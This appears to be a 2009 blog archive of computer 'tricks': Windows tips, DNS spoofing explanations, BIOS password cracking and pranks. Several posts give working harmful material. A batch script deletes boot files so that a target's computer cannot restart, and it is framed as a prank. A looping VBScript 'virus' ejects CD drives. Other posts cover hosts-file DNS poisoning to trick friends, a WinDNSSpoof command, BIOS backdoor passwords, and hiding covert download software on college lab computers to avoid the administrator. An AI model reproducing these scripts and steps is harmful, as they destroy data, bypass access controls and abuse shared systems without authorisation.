Friday, March 27, 2009

A latest Technique for cracking Bios Password......

It is Easy and working trick but be careful while using this trick.
There are 20% chance of bios getting killed.
Here is a software named Cmos which does it..
CmosPwd decrypts password stored in cmos used to access BIOS SETUP.
Works with the following BIOSes
ACER/IBM BIOS
AMI BIOS
AMI WinBIOS 2.5
Award 4.5x/4.6x/6.0
Compaq (1992)
Compaq (New version)
IBM (PS/2, Activa, Thinkpad)
Packard Bell
Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943, 4.06 rev 1.13.1107
Phoenix 4 release 6 (User)
Gateway Solo - Phoenix 4.0 release 6
Toshiba
Zenith AMI


With CmosPwd, you can also backup, restore and erase/kill cmos.

AWARD 4.50 have a backdoor, a generic password : AWARD_SW SOYO motherboard have "SY_MB" as master password for Award 4.51. CmosPwd give equivalent passwords for Award BIOS, not original one.

You can download zip file from here zip

download it and extract it follow the instructions in readme file.......

Thursday, March 26, 2009

Local Dns Posioning Trick (Very Easy)

The last posts on dns poisoning required a little bit of brain and quite a lot effort.
Here is a very easy but limited trick which can be used to trick ur friends and u can play naughty with them.

First of all go through my previous post.

Now we will make slight change , using this we will actually do for example replace ip of www.google.com with ip of www.yahoomail.com and keep domain name of www.google.com.
now when u will open www.google.com in ur browser actually www.yahoomail.com will open.So u can play trick on ur freinds computer.

Use any site which u like for ur trick and i m sure ur freind will get annoyed.

to know ip of any site just go in command prompt type tracert www.site.com press enter and u will get ip of that site...

So enjoy And do reply to motivate me.............

DNS Spoofing with Ettercap

Watch video by going to given link below

http://www.irongeek.com/i.php?page=videos/dns-spoofing-with-ettercap-pharming

DNS Spoofing techniques


- Overview : What is DNS Spoofing ?

DNS Spoofing is the art of making a DNS entry to point to an another IP than it would
be supposed to point to. To understand better, let's see an example.
You're on your web browser and wish to see the news on www.cnn.com, without to think of
it, you just enter this URL in your address bar and press enter.

Now, what's happening behind the scenes ? Well... basically, your browser is going to
send a request to a DNS Server to get the matching IP address for www.cnn.com, then
the DNS server tells your browser the IP address of CNN, so your browser to connect
to CNN's IP address and display the content of the main page.

Hold on a minute... You get a message saying that CNN's web site has closed because
they don't have anymore money to pay for their web site. You're so amazed, you call
and tell that to your best friend on the phone, of course he's laughing at you, but
to be sure, he goes to CNN web site to check by himself.

You are surprised when he tells you he can see the news of the day as usual and you
start to wonder what's going on. Are you sure you are talking to the good IP address ?
Let's check. You ask your friend to fire up his favorite DNS resolving tool (or
simply ping) and to give you the IP address he's getting for www.cnn.com.
Once you got it, you put it in your browser URL bar : http://212.153.32.65
You feel ridiculous and frustrated when you see CNN's web page with its daily news.


Well you've just been the witness of a DNS hijacking scenario. You're wondering what
happened, did the DNS Server told you the wrong IP address ? Maybe... At least this
is the most obvious answer coming to our mind.

In fact there are two techniques for accomplishing this DNS hijacking. Let's see the
first one, the "DNS ID Spoofing" technique.

- A) DNS Cache Poisoning

As you can imagine, a DNS server can't store information about all existing names/IP on
the net in its own memory space.
That's why DNS server have a cache, it enables them to keep a DNS record for a while.

In fact, A DNS Server has the records only for the machines of the domain it has the
authority, if it needs to know about machines out of his domain, it has to send a request
to the DNS Server which handles these machines and since it doesn't want to ask all the
time about records, it can store in its cache the replies returned by other DNS servers.

Now let's see how someone could poison the cache of our DNS Server.

An attacker his running is own domain (attacker.net) with his own hacked DNS Server
(ns.attacker.net)
Note that I said hacked DNS Server because the attacker customized the records in
his own DNS server, for instance one record could be www.cnn.com=81.81.81.81


1) The attacker sends a request to your DNS Server asking it to resolve www.attacker.net

2) Your DNS Server is not aware of this machine IP address, it doesn't belongs to his
domain, so it needs to asks to the responsible name server.

3) The hacked DNS Server is replying to your DNS server, and at the same time, giving
all his records (including his record concerning www.cnn.com)
Note : this process is called a zone transfer.

4) The DNS server is not "poisoned".
The attacker got his IP, but who cares, his goal was not to get the IP address of his
web server but to force a zone transfer and make your DNS server poisoned as long as
the cache will not be cleared or updated.

5) Now if you ask your DNS server, about www.cnn.com IP address it will give you
172.50.50.50, where the attacker run his own web server. Or even simple, the attacker
could just run a bouncer forwarding all packets to the real web site and vice versa,
so you would see the real web site, but all your traffic would be passing through the
attacker's web site.

- B) DNS ID Spoofing

We saw that when a machine X wants to communicate with a machine Y, the former always
needs the latter IP address. However in most of cases, X only has the name of Y, in
that case, the DNS protocol is used to resolve the name of Y into its IP address.

Therefore, a DNS request is sent to a DNS Server declared at X, asking for the IP
address of the machine Y. Meanwhile, the machine X assigned a pseudo random
identification number to its request which should be present in the answer from the
DNS server.
Then when the answer from the DNS server will be received by X, it will just have
to compare both numbers if they're the same, in this case, the answer is taken as valid,
otherwise it will be simply ignored by X.

Does this concept is safe ? Not completely. Anyone could lead an attack getting this
ID number. If you're for example on LAN, someone who runs a sniffer could intercept
DNS requests on the fly, see the request ID number and send you a fake reply with the
correct ID number... but with the IP address of his choice.
Then, without to realize it, the machine X will be talking to the IP of attacker's
choice thinking it's Y.

By the way, the DNS protocol relies on UDP for requests (TCP is used only for zone
transferts), which means that it is easy to send a packet coming from a fake IP since
there are no SYN/ACK numbers (Unlike TCP, UDP doesn't provide a minimum of protection
against IP spoofing).


Nevertheless, there are some limitations to accomplish this attack.

In my example above, the attacker runs a sniffer, intercept the ID number and replies
to his victim with the same ID number and with a reply of his choice.

In the other hand, even if the attacker intercepted your request, it will be
transmitted to the DNS Server anyway which will also reply to the request
(unless the attacker is blocking the request at the gateway or carry out
ARP cache poisoning which would make the attack possible on a switched
network by the way).

That means that the attacker has to reply BEFORE the real DNS server, which means
that to succeed this attack, the attacker MUST be on the same LAN so to have a very
quick ping to your machine, and also to be able to capture your packets.


Practical example (to be done a network for testing purposes ONLY)

To see yourself how to hijack a connection from a machine on your local area network,
we can do the followings :

First step : Poison the ARP cache of the victim's machine (tools and explanations
for realizing this task can be found at http://www.arp-sk.org)

Second step : Now, outgoing packets of the target will be redirected to your host,
but you have to forward the traffic to the real gateway, this can be achieved with
a tool like Winroute Pro.

Third step : We then use WinDNSSpoof, developed by valgasu (www.securiteinfo.org) which is
a tool that greatly help to carry out DNS ID Spoofing. (Before to use this tool be sure you
have the Winpcap library installed on your machine, see http://winpcap.polito.it).
We run it in the cmd like :

wds -n www.cnn.com -i 123.123.123.123 -g 00-C0-26-DD-59-CF -v

This will make www.cnn.com to point to 123.123.123.123 on the victim's machine.
00-C0-26-DD-59-C being the MAC Address of the gateway or DNS server.

WARNING : Please keep in mind that the use of these tools on a network without explicit
authorization of the administrator is strictly forbidden.

NOTE:The above Article is a result of cumulative research by me through various sources on net , the article is not created by me i have only put in a logical sequence for better understanding.

Wednesday, March 25, 2009

Multiple Logins of Gmail and Orkut through firefox

u all might have faced problems specially with google accounts that if u have a different gmail and orkut account then u cannot login both at same time in a same browser without logging out other account. Also u and ur freind cannot access their orkut at same time in same browser.

To overcome this problem try this trick

Follow the following steps and you will be able to login in gmail and orkut with multiple accounts. Through this you will be able to make profiles in your firefox.
Step 1:Open system properties(by right clicking my computer), choose tab advanced, click to environment variables button. in system variables section, click new. type this information to each textbox.

Step 2:variable name: moz_no_remote (should be all small letter).variable value: 1

Step 3:open firefox icon's properties(from desktop and quick launch). add extension -p to command line(like "c:\program files\mozilla firefox\firefox.exe" -p). press ok.

When you will open firefox it will prompt for profile selection create a profile,open firefox login to orkut open once more use another profile login.

How To Block Websites Without Using Any Software

Guys sometimes we want to restrict access to some particular website from our PC but we dont know how to do it without using some software for it.
Here i m sharing with you a method to do it without using any software...

1]Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessable.
5] Done!

Zoom The Image inside a Website

This a cool Mouse Trick TRy it.............

f you have a mouse with a scroll wheel on it, you can do some cool tricks.......

1.Shift & Spin

Ever wonder what happens when you hold down the Shift key on a web page and spin the wheel on your wheel mouse? Explorer goes either back or forward, depending on which direction you spin.

Give it a try. Open up Internet Explorer(or any other browser) and follow a few links. Then, hold down your SHIFT key and spin that wheel.

2.CTRL & Spin

If you are in a web browser (Explorer or Netscape or Firefox) , hold down your Ctrl key and spin the wheel. It makes the text larger or smaller depending on which way you spin. For Opera users, it magnifies both the images and the text.

Unlock The Supersecret Administrator Account For Vista













Deep inside the bowels of Windows Vista, there’s a secret Administrator account, and it’s different from the normal administrator account you most likely have set up on your PC. This Administrator account is not part of the Administrator group. (Confused yet? You should be.) It’s a kind of superadministrator, akin to the root account in Unix, and by default it’s turned off and hidden. (In describing this tut, i’ll always use the capital “A” for the secret Administrator account, and a lowercase “a” for a normal administrator account.)

In versions of Windows before Windows Vista, the Administrator account wasn’t hidden, and many people used it as their main or only account. This Administrator account had full rights over the computer.

In Windows Vista, Microsoft changed that. In Vista, the Administrator account is not subject to UAC, but normal administrator accounts are. So the Administrator can make any changes to the system and will see no UAC prompts.

Turning on the Administrator account is straightforward. First, open command prompt by typing cmd into the run box on the Start menu, or by right-clicking the command prompt icon that appears at the top of the Start menu, then selecting Run as administrator.

Then enter this command and press Enter:

Net user administrator /active:yes

From now on, the Administrator account will appear as an option on the Welcome screen, along with any user accounts you may have set up. Use it like any other account. Be aware that it won’t have a password yet, so it’s a good idea to set a password for it.

If you want to disable the account and hide it, enter this command at an elevated command prompt and press Enter:

Net user administrator /active:no

Elevator Trick ( VERY COOL)

I tried a very cool trick that not actually about pc but for elevators

Well I was also, until I found out you could skip the floors that people would like to get on at. This is a really simple trick to do just to let you readers know.

Okay, the only thing you need to do is press down the close door button, and the floor you would like to go to at the same time.

Then it should skip all the floors that people want to get on and go straight to your floor that you would like to get off on. This can also piss some people off I would imagine. This trick has also worked on all the elevators tried so far.

try this and do reply what was ur experience using this trick......

HIDDEN PROGRAMS OF WINDOWS:

1- Private Character Editor
This program is for designing icons and Characters(Alphapet)
Click :start
Then :run
type :EUDCEDIT
.................................................. ..............................
.................................................. ...............

2- iExpress
This Program is for converting your files to EXCUTABLE files
Click : start
Then : run
type : iexpress
.................................................. ..............................
.................................................. ...............

3-Disk Cleanup
This program used for cleaning harddisk to offer space
Click : start
Then : run
type : cleanmgr

.................................................. ..............................
.................................................. ...............

4-Dr Watson
This program Is for repairing problems in Windows
Click : start
Then : run
type : drwtsn32
.................................................. ..............................
.................................................. ...............

5-Windows Media Player 5.1
Opens the old media player
Click : start
Then : run
type : mplay32
.................................................. ..............................

How to shut down a computer FOREVER!

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

note replace c: with the drive letter in which windows is installed if not in c drive

Open up notepad and copy and paste that. Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun >:-D

REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)

YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

A Virus That Will Open And Close Ur Cdrom

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If



copy this into notepad and save it as anyname.vbs like virus.vbs
and then double click on it...what u see....bingo

Now if u want to disable this go to task manager click on process
then find wscript.exe and end this proces

Tuesday, March 24, 2009

How to Enable Right Click on Sites that Disable it!!!

There are lots of web sites that have disabled the right click function
of the mouse button... which it's really, really annoying!!

This is done so that you don't steal (via right-click->save picture) their photos
or images or any other goodies.

But It's easy to change, assuming your using IE 6 or higher:

  1. Click "Tools"->"Internet Options"
  2. Click the "Security" tab
  3. Click "Custom Level"
  4. Scroll down to the "Scripting" section
  5. Set "Active Scripting" to "disable"
  6. Click "Ok" a couple of times.

You'll probably want to turn this back to "enable" when your done,
'cause generally the java script enhances a website.

ALTERNATIVELY:

Before you change settings try holding down the Ctrl key and right clicking.
This also works in a lot of cases..

or in firefox..
tools->options->content..
turn off java and javascript, then reload the site..

Wednesday, March 18, 2009

Easier Way To Hide Window Partion.....

just perform these simple steps........

1)Right click on My Computer
here we se a Manage option
just click on that..

2) now go to Disk Management.click on it.
3) you will see disk partion ...now click on the partion you want to hide leaving the bootable drive..
4)Right click on it and you will see a option Change DriveLetter and Path... click on it..
5) now remove the letter of the drive.. and a warnig appears set it to ok and you are done your drive is now hidden.....
6) to unhide same steps but intead of removing the letter add the letter of you choice...
Thanks..........

Sunday, March 15, 2009

forgot your windows xp or vista administaror password no problem reset it in few seconds....

Freinds many of us face this problem many times while using our computer but dont worry i have a very simple solution by which u can change or reset or hack windows (any version) password in few seconds just follow the given steps and u can logon to ur comp as administrator again....
STEPS:-
1) download this simple utility about 3mb from this link (click here) .
2) unzip this utility in ur pendrive It cannot be in a subdirectory(all files of this utility should not be in a folder in pendrive) on the drive. You do not need delete files already on the drive
3)Install the bootloader (you may have to be administrator so can perform this step on another comp with admin privleges) On the USB drive, there should now be a file "syslinux.exe".
4)Run this from a command prompt, like this:
j:\syslinux.exe -ma j:
replace j with some other letter if your USB drive is on anotherdrive letter than j:
On some drives, you may have to omit the -ma option if youget an error.If it says nothing it probably did install the bootloader
5)Please note that you may have to adjust settings in your computers BIOSsetup to boot from USB.Also, some BIOS (often older machines) simply won't boot from USB anyway.
6) now just place the pendrive in your comp and resart it .
7)now your comp will boot with pendrive .
8) Just follow the instructions on the screen to reset admin password.
9) and at the end type n annd press enter to save the settings.
10) now remove the pendrive and restart the comp .
11) now u can acess ur comp with administrator account.
do reply how helpfull this post was to u .... have a nice time......

Thursday, March 12, 2009

Indian Hoteee


Hide whole partition of HDD !!!

1. Go to Start > run > type "diskpart".A DOS window will appear with following discription.DISKPART>

2. Then type "list volume"The result will look like : ------

Volume ### Ltr Label Fs Type Size Status Info
--------------- --- -------- ---- ------ ---- ------ ----
Volume 0 F CD-ROM
Volume 1 C Window_XP NTFS Partition 7000MB Healthy
System
Volume 2 D Softwares NTFS Partition 8000MB Healthy
Volume 3 E Songs NTFS Partition 8000MB Healthy

3. Suppose u wanna hide drive E then type "select volume 3"Then a message will appear in same winwods { Volume 3 is the selected volume}

4. Now type "remove letter E"Now a message will come { Diskpart Removed the Drive letter }sometime it requires the reboot the computer .

Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.

Your Data is safe now from all unauthorised users. To access the content of hidden Drive repeat the process mentioned above. But in 4th step replace " remove" to "assign"i mean type "assign letter E"

Disable The Send Error Report To Microsoft

To disable the stupid feature in WinXP which tries to send a report to microsoft every time a program crashes you will have to do this:
-Open Control Panel
-Click on Preformance and Maintenance.
-Click on System.-Then click on the Advanced tab
-Click on the error reporting button on the bottom of the windows.
-Select Disable error reporting.-Click OK-Click OK

Wednesday, March 4, 2009

Turn Your College Computer Lab into Super Download Station......

Friends downloading movies , games etc has always been a cumbersome , frustrating and difficult job . Even if u have a free internet connection such as lan in hostel u don't want to keep ur comp or laps to be on for whole night. Instead i have a better trick for u people . U must have observed that ur college labs contains many comps which r slow and boring .... but that doesnt mean that internet connection in labs is also slow as comps infact it is opposite . Thus we have large no of slow comps with unutilized hi power internet connection . Now with this trick u can make these comps into powererfull download stations which use unutilized bandwith to download movies and other things.

Now for any easy and sucessfull large download u shouldh have have a download manager but u couldn't install one in ur comp lab as u dont admin rights plus u have also chance of being caught as lab admin will come to know about installed sw if ur able to install one .... The solution of above problem is to use a portable download manager which doesn't require intallation and also remains hidden while downloading so that u dont get caught and also u can go away freely after starting download and come in evening or tommorow to get the downloaded movies in pendrive...

To get such download manager (clickhere)

either exract in pendrive in ur home computer and then place in lab comp OR directly download in lab comp and then extarct in anywhere in lab computer.

note put the extracted folder somewhere in c drive in inside system32 folder ony any other folder so that no body could easily see it and c: drive ought have a lot of free space in lab comps..

now u need download links for movies and other things for this use search engine http://gappon.com/ here u can get rapidshare , mediafire any many other links...

I suggest u for mediafire as u can download unlimited , without wating any seconds , resume facility is there ,and no wating after one part download ..... it is the best free service available.

to hide wacket download manager go to file- prefrences-display and uncheck "show in system tray" only check " show in taskbar " hide all other things also. Also go to file- prefrences-integeration and check only "use hot key" option .

now ur ready

put the download links in browser and press enter u even get a option to download file just right click and copy the link location and put them in wackget download manger after u have put all the parts of movie etc then just press "windows" button and "w" button as they r hot keys the download manger will get hidden AND now ur job is done go away and back after few hours or when u have u get all the files downloade for u without even anybody knowing about it......

NOTE- Donot integrate the download manager with iexp otherwise after u r gone anybody else's download will also be automatically get downloaded with ur download manager so u could get caught......

U have ur movie just put all the parts in pendrive use winrar u extact them and join to form a full mmivie etc and just enjoy..............

Do reply commenting how did u like the post.......

 

blogger templates 3 columns | Make Money Online